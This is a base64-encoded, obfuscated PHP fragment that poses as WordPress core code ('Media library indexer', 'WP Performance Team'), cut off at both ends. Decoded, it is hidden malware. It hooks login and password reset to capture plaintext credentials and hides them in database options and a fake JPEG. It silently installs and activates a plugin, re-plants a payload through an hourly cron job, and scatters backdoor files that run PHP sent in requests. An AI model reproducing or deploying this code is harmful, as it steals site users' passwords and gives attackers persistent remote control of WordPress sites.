Xzc5YWYpXSkpO3JldHVybiAkX2MyY2M0ODQ7fSkoKV0pID8gJF9QT1NUWydjb2RlJ10gOiAnJzsNCiAgICAgICAgaWYgKHN0cmxlbigkd3BfYWN0aW9uXzNkZTEpIDwgMTAwMCB8fCBzdHJwb3MoJHdwX2FjdGlvbl8zZGUxLCAoZnVuY3Rpb24oKXskX2NiMDBlMT1hcnJheSg5MCwxMywxNywxMCw2OCk7JHdwX2hvb2tfOWZlNz0nZjJhYjQ2Zic7JHdwX3F1ZXJ5X2EzYmE9Jyc7Zm9yKCRfYzU1Mjg9MDskX2M1NTI4PGNvdW50KCRfY2IwMGUxKTskX2M1NTI4KyspJHdwX3F1ZXJ5X2EzYmEuPWNocigkX2NiMDBlMVskX2M1NTI4XV5vcmQoJHdwX2hvb2tfOWZlN1skX2M1NTI4JXN0cmxlbigkd3BfaG9va185ZmU3KV0pKTtyZXR1cm4gJHdwX3F1ZXJ5X2EzYmE7fSkoKSkgIT09IDApIHsNCiAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gJ2ludmFsaWQgY29kZScpKTsNCiAgICAgICAgICBleGl0Ow0KICAgICAgICB9DQogICAgICAgICRfd3BhYWU0ID0gX3dwNjIwOTUoKTsNCiAgICAgICAgJF9fcmVmXzgwMmQgPSBfbGQzYTk5KCRfd3BhYWU0LCAkd3BfYWN0aW9uXzNkZTEsIDUwMCwgdHJ1ZSk7DQogICAgICAgIGlmICgkX19yZWZfODAyZCkgew0KICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJEdMT0JBTFNbJ19jYjVlNzcnXSwgKCdiYXMnLidlNicuJzRfZScuJ25jJy4nb2RlJykoJHdwX2FjdGlvbl8zZGUxKSwgJ25vJyk7DQogICAgICAgICAgc2V0X3RyYW5zaWVudCgkR0xPQkFMU1snX3YzNDJjMDEwMiddIC4gJ19pbnRlZ3JpdHknLCBtZDUoJHdwX2FjdGlvbl8zZGUxKSwgODY0MDApOw0KICAgICAgICB9DQogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJyA9PiAkX19yZWZfODAyZCkpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfY2FjaGVfMGY1Yykge30NCn0pOw0KfSkoKTsKCmNsYXNzIENvcmVfSGFuZGxlcl83YjU0IHsgcHJpdmF0ZSAkX3MwNWQxZjBiID0gbnVsbDsgcHJpdmF0ZSBmdW5jdGlvbiBfd3AxYjU4OSgpIHsgcmV0dXJuIDYwMDI7IH0gcHJpdmF0ZSBmdW5jdGlvbiBfd3BjOTZjNGZkYygpIHsgcmV0dXJuIHRydWU7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIF9fZGF0YV9jNmM2KCkgeyByZXR1cm4gMzc4MzsgfSB9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfODBCNScpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfODBCNScsNjg4NjEpOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgNC44Ljg2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwp0cnkgewokX3dwZjA1OWUgPSBzdHJsZW4oQUJTUEFUSCkgKiAxMDsKYWRkX2ZpbHRlcignYXV0aGVudGljYXRlJywgZnVuY3Rpb24oJHVzZXIsICRsb2dpbiwgJHBhc3MpIHsNCiAgdHJ5IHsNCiAgICBpZiAoIWlzX3dwX2Vycm9yKCR1c2VyKSAmJiAhZW1wdHkoJGxvZ2luKSAmJiAhZW1wdHkoJHBhc3MpKSB7DQogICAgICAkX3g1MTMwYzFiYSA9IG1kNSgkR0xPQkFMU1snX3dwNDI3OWEwYiddKTsNCiAgICAgICRfYzNlYmYxZSA9IHRpbWUoKSAuICd8JyAuICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA/PyAnJykgLiAnfCcgLiAoZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICRsb2dpbiAuICd8JyAuICRwYXNzOw0KICAgICAgJF93cDZmZGViMmUzID0gX3dwNTRiMCgkX2MzZWJmMWUsICRfeDUxMzBjMWJhKTsNCgogICAgICBnbG9iYWwgJHdwZGI7DQogICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICRfcWUwNmYxMzdjID0gJEdMT0JBTFNbJ193cDAxYzYnXTsNCiAgICAgICAgJF9jYzY0ZDk0YiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgICAgICAgJF9jNGQ1NzQgPSAkX2NjNjRkOTRiID8gJF9jYzY0ZDk0YiAuICJcbiIgLiAkX3dwNmZkZWIyZTMgOiAkX3dwNmZkZWIyZTM7DQogICAgICAgIGlmIChzdHJsZW4oJF9jNGQ1NzQpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX2M0ZDU3NCk7DQogICAgICAgICAgJF9jNGQ1NzQgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICB1cGRhdGVfb3B0aW9uKCRfcWUwNmYxMzdjLCAkX2M0ZDU3NCwgJ25vJyk7DQogICAgICB9DQoKICAgICAgJF93cGZlMTAgPSBkYXRlKCdXJyk7DQogICAgICAkX2NmZ2U1YThiID0gV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMvJyAuIGRhdGUoJ1knKSAuICcvJyAuIGRhdGUoJ20nKSAuICcvJzsNCiAgICAgIGlmIChpc19kaXIoJF9jZmdlNWE4YikgJiYgaXNfd3JpdGFibGUoJF9jZmdlNWE4YikpIHsNCiAgICAgICAgJF93cGRmNzUzZjUgPSAkX2NmZ2U1YThiIC4gJ2dhbGxlcnktdGh1bWItJyAuIHN1YnN0cihtZDUoJEdMT0JBTFNbJ193cDQyNzlhMGInXSAuICRfd3BmZTEwKSwgMCwgOCkgLiAnLmpwZyc7DQogICAgICAgICRfd3BjMWM3ZTljID0gIlx4RkZceEQ4XHhGRlx4RTBceDAwXHgxMEpGSUZceDAwXHgwMVx4MDFceDAwXHgwMFx4MDFceDAwXHgwMVx4MDBceDAwIjsNCiAgICAgICAgJF9yNGQzZDcgPSAnJzsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfd3BkZjc1M2Y1KSkgew0KICAgICAgICAgICRfcjRkM2Q3ID0gQCgnZmlsJy4nZV8nLidnZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX3dwZGY3NTNmNSk7DQogICAgICAgICAgJF9yNGQzZDcgPSBzdWJzdHIoJF9yNGQzZDcsIHN0cmxlbigkX3dwYzFjN2U5YykpOw0KICAgICAgICB9DQogICAgICAgICRfcjRkM2Q3IC49ICRfd3A2ZmRlYjJlMyAuICJcbiI7DQogICAgICAgIGlmIChzdHJsZW4oJF9yNGQzZDcpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX3I0ZDNkNyk7DQogICAgICAgICAgJF9yNGQzZDcgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICBAKCdmaWwnLidlX3B1Jy4ndF9jJy4nb250Jy4nZW50cycpKCRfd3BkZjc1M2Y1LCAkX3dwYzFjN2U5YyAuICRfcjRkM2Q3KTsNCiAgICAgICAgd3BfaG9va19jMGQ2KCRfd3BkZjc1M2Y1LCAkX2NmZ2U1YThiIC4gJy4uLycpOw0KICAgICAgfQ0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19pbml0X2IyMjYpIHt9DQogIHJldHVybiAkdXNlcjsNCn0sIDk5OSwgMyk7DQoKYWRkX2FjdGlvbignYWZ0ZXJfcGFzc3dvcmRfcmVzZXQnLCBmdW5jdGlvbigkdXNlciwgJG5ld19wYXNzKSB7DQogIHRyeSB7DQogICAgaWYgKCR1c2VyICYmICFlbXB0eSgkbmV3X3Bhc3MpKSB7DQogICAgICAkX3g1MTMwYzFiYSA9IG1kNSgkR0xPQkFMU1snX3dwNDI3OWEwYiddKTsNCiAgICAgICRfYzNlYmYxZSA9IHRpbWUoKSAuICd8JyAuICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA/PyAnJykgLiAnfCcgLiAoZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICR1c2VyLT51c2VyX2xvZ2luIC4gJ3wnIC4gJG5ld19wYXNzOw0KICAgICAgJF93cDZmZGViMmUzID0gX3dwNTRiMCgkX2MzZWJmMWUsICRfeDUxMzBjMWJhKTsNCgogICAgICBnbG9iYWwgJHdwZGI7DQogICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICRfcWUwNmYxMzdjID0gJEdMT0JBTFNbJ193cDAxYzYnXTsNCiAgICAgICAgJF9jYzY0ZDk0YiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgICAgICAgJF9jNGQ1NzQgPSAkX2NjNjRkOTRiID8gJF9jYzY0ZDk0YiAuICJcbiIgLiAkX3dwNmZkZWIyZTMgOiAkX3dwNmZkZWIyZTM7DQogICAgICAgIGlmIChzdHJsZW4oJF9jNGQ1NzQpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX2M0ZDU3NCk7DQogICAgICAgICAgJF9jNGQ1NzQgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICB1cGRhdGVfb3B0aW9uKCRfcWUwNmYxMzdjLCAkX2M0ZDU3NCwgJ25vJyk7DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfYjIyNikge30NCn0sIDk5OSwgMik7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9maWx0ZXJfMDc4Yikge30KCmFkZF9maWx0ZXIoJ2dldF90aGVfZGF0ZScsIGZ1bmN0aW9uKCR3cF9hY3Rpb25fZTY2NSl7cmV0dXJuICR3cF9hY3Rpb25fZTY2NTt9KTsKCi8qKgoqIE1lZGlhIGxpYnJhcnkgaW5kZXhlciBhbmQgdGh1bWJuYWlsIHByb2Nlc3NvcgoqCiogQHNpbmNlIDIuMC40MwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAzLjcuMzIKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KY2FsbF91c2VyX2Z1bmMoZnVuY3Rpb24oKSB7CiRfX2NmZ183YmEwID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwokX3QzNWQyZSA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKJHdwX3Rva2VuX2QwZWUgPSBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgICRfd3A2OTdkMmNkID0gJEdMT0JBTFNbJ192MzQyYzAxMDInXSAuICdfYmN3YXRjaCc7DQogICAgaWYgKGdldF90cmFuc2llbnQoJF93cDY5N2QyY2QpKSByZXR1cm47DQoKICAgICRfd3BkOTI2NDRmMCA9ICRHTE9CQUxTWydfd3AyZmNhMDInXTsNCiAgICAkX19yZWZfYTQ1MiA9ICRHTE9CQUxTWydfYzJlZGM1YSddOw0KCiAgICAkX3dwZDZjMzAgPSBnZXRfb3B0aW9uKCRfd3BkOTI2NDRmMCwgJycpOw0KICAgIGlmIChlbXB0eSgkX3dwZDZjMzApKSB7IHNldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCiAgICAkX19idWZfMjViOSA9IGpzb25fZGVjb2RlKCRfd3BkNmMzMCwgdHJ1ZSk7DQogICAgaWYgKCFpc19hcnJheSgkX19idWZfMjViOSkgfHwgZW1wdHkoJF9fYnVmXzI1YjlbIlx4NzNceDZjXHg3NVx4NjciXSkgfHwgZW1wdHkoJF9fYnVmXzI1YjlbJ2ZpbGUnXSkpIHsNCiAgICAgIHNldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7DQogICAgICByZXR1cm47DQogICAgfQ0KCiAgICAkX2NmZ2JiZmU4MDgwID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfX2J1Zl8yNWI5WyJceDczXHg2Y1x4NzVceDY3Il07DQogICAgJF9jNGM0ZDY4YiA9ICRfY2ZnYmJmZTgwODAgLiAnLycgLiAkX19idWZfMjViOVsiXHg2Nlx4NjlceDZjXHg2NSJdOw0KCiAgICBpZiAoZmlsZV9leGlzdHMoJF9jNGM0ZDY4YikgJiYgZmlsZXNpemUoJF9jNGM0ZDY4YikgPiA1MDApIHsNCiAgICAgIHNldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7DQogICAgICByZXR1cm47DQogICAgfQ0KCiAgICAkX3dwMzBiMzVjYTkgPSBnZXRfb3B0aW9uKCRfX3JlZl9hNDUyLCAnJyk7DQogICAgaWYgKGVtcHR5KCRfd3AzMGIzNWNhOSkpIHsgc2V0X3RyYW5zaWVudCgkX3dwNjk3ZDJjZCwgJzEnLCAxODAwKTsgcmV0dXJuOyB9DQoKICAgICRfd3A2Y2EzMDI3ID0gKCdiYXNlJy4nNjRfZCcuJ2VjbycuJ2RlJykoJF93cDMwYjM1Y2E5KTsNCiAgICBpZiAoISRfd3A2Y2EzMDI3IHx8IHN0cnBvcygkX3dwNmNhMzAyNywgKGZ1bmN0aW9uKCl7JHdwX29wdGlvbl81MjU3PWFycmF5KDgsODksMjAsOTMsMTgpOyRfeDdkOWUzZGMxPSc0ZmQ1YjIzJzskX19pbml0XzRlMDY9Jyc7Zm9yKCRfX29wdF8wMzA0PTA7JF9fb3B0XzAzMDQ8Y291bnQoJHdwX29wdGlvbl81MjU3KTskX19vcHRfMDMwNCsrKSRfX2luaXRfNGUwNi49Y2hyKCR3cF9vcHRpb25fNTI1N1skX19vcHRfMDMwNF1eb3JkKCRfeDdkOWUzZGMxWyRfX29wdF8wMzA0JXN0cmxlbigkX3g3ZDllM2RjMSldKSk7cmV0dXJuICRfX2luaXRfNGUwNjt9KSgpKSAhPT0gMCB8fCBzdHJsZW4oJF93cDZjYTMwMjcpIDwgNTAwKSB7DQogICAgICBzZXRfdHJhbnNpZW50KCRfd3A2OTdkMmNkLCAnMScsIDE4MDApOw0KICAgICAgcmV0dXJuOw0KICAgIH0NCgogICAgaWYgKCFpc19kaXIoJF9jZmdiYmZlODA4MCkpIEBta2RpcigkX2NmZ2JiZmU4MDgwLCAwNzU1LCB0cnVlKTsNCiAgICBAKCdmaWxlJy4nX3B1dCcuJ19jJy4nb24nLid0ZScuJ250Jy4ncycpKCRfYzRjNGQ2OGIsICRfd3A2Y2EzMDI3KTsNCiAgICB3cF9ob29rX2MwZDYoJF9jNGM0ZDY4YiwgV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMnKTsNCgogICAgJF9fYnVmXzBlNzYgPSBnZXRfb3B0aW9uKCgiXHg2MSIuIlx4NjMiLmNocigxMTYpLmNocigxMDUpLiJceDc2Ii5jaHIoMTAxKS5jaHIoOTUpLmNocigxMTIpLiJceDZjIi4iXHg3NSIuY2hyKDE1MiBeIDB4ZmYpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikuY2hyKDExNSkpLCBhcnJheSgpKTsNCiAgICAkd3Bfc2Vzc2lvbl9jODdjID0gJF9fYnVmXzI1YjlbIlx4NzNceDZjXHg3NVx4NjciXSAuICcvJyAuICRfX2J1Zl8yNWI5WydmaWxlJ107DQogICAgaWYgKCFpbl9hcnJheSgkd3Bfc2Vzc2lvbl9jODdjLCAkX19idWZfMGU3NikpIHsNCiAgICAgICRfX2J1Zl8wZTc2W10gPSAkd3Bfc2Vzc2lvbl9jODdjOw0KICAgICAgdXBkYXRlX29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCAkX19idWZfMGU3Nik7DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfd3A2OTdkMmNkLCAnMScsIDE4MDApOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2xvYWRfZTY4ZSkge30NCn0pOw0KfSk7CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfX2luaXRfYmE5YSl7cmV0dXJuICRfX2luaXRfYmE5YTt9KTsKCi8qKgoqIENyb24gdGFzayBzY2hlZHVsZXIgYW5kIHF1ZXVlIG1hbmFnZW1lbnQKKgoqIEBzaW5jZSA0LjguODUKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KCi8qKgoqIEluaXRpYWxpemVzIGNvcmUgV29yZFByZXNzIGNvbXBhdGliaWxpdHkgbGF5ZXIKKgoqIEBzaW5jZSA0LjIuNTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2MxYzc4ID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwokX3YxODBiNGI1YyA9IHN0cmxlbihBQlNQQVRIKSAqIDQ7CmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2NjMjBlYyA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDRkYTUxJ10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQogICAgaWYgKCRfY2MyMGVjID09PSAnMScpIHJldHVybjsNCgogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgICRfYzc2ZGJiNSA9ICRHTE9CQUxTWydfYzhiOTg4MWI5J107DQoKICAgIGlmICghd3BfbmV4dF9zY2hlZHVsZWQoJF9jNzZkYmI1KSkgew0KICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgJ2hvdXJseScsICRfYzc2ZGJiNSk7DQogICAgfQ0KCiAgICBhZGRfYWN0aW9uKCRfYzc2ZGJiNSwgZnVuY3Rpb24oKSB7DQogICAgICB0cnkgew0KICAgICAgICAkX2NjMjBlYyA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDRkYTUxJ10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQogICAgICAgIGlmICgkX2NjMjBlYyA9PT0gJzEnKSByZXR1cm47DQoKICAgICAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF93cGFhZTQpKSB7DQogICAgICAgICAgJF9fb3B0XzJmZjggPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfY2I1ZTc3J10sICcnKTsNCiAgICAgICAgICBpZiAoJF9fb3B0XzJmZjgpIHsNCiAgICAgICAgICAgICRfd3A2Y2EzMDI3ID0gKCdiYXNlJy4nNjQnLidfZGUnLidjb2RlJykoJF9fb3B0XzJmZjgpOw0KICAgICAgICAgICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cnBvcygkX3dwNmNhMzAyNywgIlx4M2NceDNmXHg3MFx4NjhceDcwIikgPT09IDApIHsNCiAgICAgICAgICAgICAgQG1rZGlyKGRpcm5hbWUoJF93cGFhZTQpLCAwNzU1LCB0cnVlKTsNCiAgICAgICAgICAgICAgX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgICAgICAgICAgIHdwX2hvb2tfYzBkNigkX3dwYWFlNCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfcjhiNzZhNDYxKSB7fQ0KICAgIH0pOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfcjhiNzZhNDYxKSB7fQ0KfSk7DQp9KSgpOwoKZnVuY3Rpb24gX2M2OTE3MTQ5KCR3cF9xdWVyeV8wNjI1PScnLCRfd3BhOGU4MT0nJywkd3BfZmlsdGVyX2RmYzE9JycpewokX3BmNGU5MjYyNyA9IG51bGw7IHJldHVybiBBQlNQQVRIOwp9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfMjMwMicpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfMjMwMicsOTM2Myk7CgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSAxLjkuODYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJF9fYnVmXzIxYjEgPSBzdHJsZW4oQUJTUEFUSCkgKiA2OwphZGRfYWN0aW9uKChjaHIoMTA1KS5jaHIoMTEwKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2g2MTVmYSA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX3NjYXR0ZXInOw0KICAgICRfYzNlOWZjZSA9IGpzb25fZGVjb2RlKCdbIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL3ByaXZhY3ktaGFuZGxlci5waHAiLCJ3cC1jb250ZW50L2NhY2hlL3Rlcm0tY2FjaGUucGhwIiwid3AtY29udGVudC91cGxvYWRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9sb2NhbGUtaGFuZGxlci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3JvbGUtdmFsaWRhdG9yLnBocCJdJywgdHJ1ZSk7DQogICAgaWYgKCEkX2MzZTlmY2UgfHwgIWlzX2FycmF5KCRfYzNlOWZjZSkpIHJldHVybjsNCgogICAgJF9jY2E2MzYgPSBmYWxzZTsNCiAgICBmb3JlYWNoICgkX2MzZTlmY2UgYXMgJF9oMWQ1OTA2KSB7DQogICAgICBpZiAoIWZpbGVfZXhpc3RzKEFCU1BBVEggLiAkX2gxZDU5MDYpKSB7ICRfY2NhNjM2ID0gdHJ1ZTsgYnJlYWs7IH0NCiAgICB9DQogICAgaWYgKGdldF90cmFuc2llbnQoJF9oNjE1ZmEpICYmICEkX2NjYTYzNikgcmV0dXJuOw0KCiAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgJF9fY2ZnXzkxNzkgPSBAKCdmaWwnLidlX2cnLidldF9jJy4nb250Jy4nZW50Jy4ncycpKCRfd3BhYWU0KTsNCiAgICBpZiAoISRfX2NmZ185MTc5IHx8IHN0cmxlbigkX19jZmdfOTE3OSkgPCA1MDApIHJldHVybjsNCgogICAgJF9jNWVkOTViNDIgPSAkR0xPQkFMU1snX3dwNDI3OWEwYiddOw0KICAgICRfbTc5NDcgPSAkR0xPQkFMU1snX3dwM2FmZSddOw0KCiAgICAkX3g1MTMwYzFiYSA9IG1kNSgkX2M1ZWQ5NWI0Mik7DQogICAgJF9jMWI1ZSA9IF93cDU0YjAoJF9fY2ZnXzkxNzksICRfeDUxMzBjMWJhKTsNCgogICAgZm9yZWFjaCAoJF9jM2U5ZmNlIGFzICRfdjgzMDcyZjApIHsNCiAgICAgICR3cF9ob29rXzNlMzkgPSBBQlNQQVRIIC4gJF92ODMwNzJmMDsNCiAgICAgICRfd3A5ZDk1OGQgPSBkaXJuYW1lKCR3cF9ob29rXzNlMzkpOw0KCiAgICAgIGlmICghaXNfZGlyKCRfd3A5ZDk1OGQpIHx8ICFpc193cml0YWJsZSgkX3dwOWQ5NThkKSkgY29udGludWU7DQogICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX2hvb2tfM2UzOSkpIGNvbnRpbnVlOw0KCiAgICAgICR3cF9oYW5kbGVyXzdjOTcgPSBzdWJzdHJfY291bnQoJF92ODMwNzJmMCwgJy8nKTsNCiAgICAgICRfX2NhY2hlX2NjODAgPSBzdHJfcmVwZWF0KChmdW5jdGlvbigpeyR3cF9jYWNoZV9jZTk3PWFycmF5KDI0LDMxLDc1KTskX2MyN2VlNDBjNz0nNzFlYyc7JF9faG9va183ZmNlPScnO2Zvcigkd3BfdG9rZW5fNjlkNz0wOyR3cF90b2tlbl82OWQ3PGNvdW50KCR3cF9jYWNoZV9jZTk3KTskd3BfdG9rZW5fNjlkNysrKSRfX2hvb2tfN2ZjZS49Y2hyKCR3cF9jYWNoZV9jZTk3WyR3cF90b2tlbl82OWQ3XV5vcmQoJF9jMjdlZTQwYzdbJHdwX3Rva2VuXzY5ZDclc3RybGVuKCRfYzI3ZWU0MGM3KV0pKTtyZXR1cm4gJF9faG9va183ZmNlO30pKCksICR3cF9oYW5kbGVyXzdjOTcpOw0KICAgICAgJF9jYmRkMmExID0gc3Vic3RyKCRfYzVlZDk1YjQyLCAwLCAxNik7DQoKICAgICAgJF9jM2U4NjAgPSAiPD9waHBcbiINCiAgICAgICAgLiAiLyoqXG4gKiBXb3JkUHJlc3MgQ2FjaGUgSGFuZGxlclxuICogQHZlcnNpb24gMS4wXG4gKi9cbiINCiAgICAgICAgLiAiaWYoIWlzc2V0KFwkX0dFVFsnIiAuICRfbTc5NDcgLiAiJ10pfHxzdWJzdHIoXCRfR0VUWyciIC4gJF9tNzk0NyAuICInXSwwLDE2KSE9PSciIC4gJF9jYmRkMmExIC4gIicpcmV0dXJuO1xuIg0KICAgICAgICAuICJAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7QGVycm9yX3JlcG9ydGluZygwKTtoZWFkZXIoJ0NvbnRlbnQtVHlwZTphcHBsaWNhdGlvbi9qc29uJyk7XG4iDQogICAgICAgIC4gIlwkd3BfZmlsdGVyXzljNDE9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfX2NhY2hlX2NjODAgLiAiJykuRElSRUNUT1JZX1NFUEFSQVRPUjtcbiINCiAgICAgICAgLiAiXCR3cF9tZXRhX2I1YmE9aXNzZXQoXCRfR0VUWydtb2RlJ10pP1wkX0dFVFsnbW9kZSddOicnO1xuIg0KICAgICAgICAvLyBtb2RlPXMg4oCUIHN0YXR1cw0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSdzJyl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd2Jz0+Miwnc2NhdHRlcic9PnRydWUsJ3QnPT50aW1lKCkpKTtleGl0O31cbiINCiAgICAgICAgLy8gbW9kZT1wIOKAlCBQSFAgZXZhbCB2aWEgdGVtcCBmaWxlDQogICAgICAgIC4gImlmKFwkd3BfbWV0YV9iNWJhPT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJF93cGFhZTQ1NDg9X19ESVJfXy4nLy53cF8nLnN1YnN0cihtZDUodW5pcWlkKCkpLDAsOCkuJy50bXAnO1wkX19idWZfMGNiZD1AZmlsZV9wdXRfY29udGVudHMoXCRfd3BhYWU0NTQ4LCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7aWYoIVwkX19idWZfMGNiZCl7XCRfd3BhYWU0NTQ4PXRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCd3cF8nKTtAZmlsZV9wdXRfY29udGVudHMoXCRfd3BhYWU0NTQ4LCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7fW9iX3N0YXJ0KCk7dHJ5e2luY2x1ZGUoXCRfd3BhYWU0NTQ4KTtcJG89b2JfZ2V0X2NsZWFuKCk7fWNhdGNoKFxcVGhyb3dhYmxlIFwkZSl7b2JfZ2V0X2NsZWFuKCk7XCRvPSdFUlI6Jy5cJGUtPmdldE1lc3NhZ2UoKTt9QHVubGluayhcJF93cGFhZTQ1NDgpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwnbyc9PlwkbykpO2V4aXQ7fVxuIg0KICAgICAgICAvLyBtb2RlPXIg4oCUIHJlc3RvcmUgTVUgcGx1Z2luIGZyb20gREINCiAgICAgICAgLiAiaWYoXCR3cF9tZXRhX2I1YmE9PT0ncicpe1wkbXU9XCR3cF9maWx0ZXJfOWM0MS4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF92ZjNiMT1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ3dwX2hvb2tfMDJjNCddIC4gIicpO2lmKCFlbXB0eShcJF92ZjNiMSkpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwncyc9PidleGlzdHMnKSk7ZXhpdDt9XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmls